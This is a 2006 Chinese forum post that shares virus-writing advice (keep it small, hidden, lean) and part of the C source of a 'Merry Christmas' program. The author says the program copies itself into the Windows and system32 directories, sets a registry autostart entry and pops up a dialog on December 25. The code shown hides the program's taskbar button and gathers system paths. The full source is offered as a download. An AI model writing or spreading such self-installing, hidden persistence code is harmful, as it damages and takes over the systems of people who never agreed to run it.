各位看官,大家好!今天闲来无事,突然想起来被感染蠕虫病毒的苦处,不免研究了一阵病毒的代码! 突然发现,其实原理不是很难,考虑到一些别的问题,我只做到了这一步,稍后大家能看到源代码! 一般在编写病毒时,程序文件要足够小,这样才能更好地复制和伪装自己;最好不要有面板文件,因为病毒的目的是传染和影响系统;第三,最好引用的头文件越少越好,因为一些函数或常量可能包含在多个头文件中;第四代码最好精简! 下面是一个“圣诞快乐”的小程序!如果运行一次后,他会自动地复制到windows和system32下,修改注册表,使其开机运行!如果日期为12月25号,会自动弹出对话框! 代码如下: #include <utility.h> #include <userint.h> #include "toolbox.h" #include <cvirte.h> static char filedir[1000]; static char sysdir[1000]; static char windir[1000]; static char filename[260]; int CVICALLBACK timer (int panelOrMenuBarHandle, int controlOrMenuItemID, int event, void *callbackData, int eventData1, int eventData2); int main (int argc, char *argv[]) { if (InitCVIRTE (0, argv, 0) == 0) return -1; /* out of memory */ SetSystemAttribute (ATTR_TASKBAR_BUTTON_VISIBLE, 0); GetWindowsDirs (windir, sysdir); GetProjectDir (filedir); filename[0] = '\0'; strcat (filename, argv[0]); InstallMainCallback (timer, 0, 1); SetIdleEventRate (1000); RunUserInterface (); QuitUserInterface (0); InstallMainCallback (0, 0, 0); return 0; } 只给出部分代码,可以去小信的博客下载
rCWAcXco.rar (99.29 KB)
[此贴子已经被作者于2006-12-17 23:26:09编辑过] |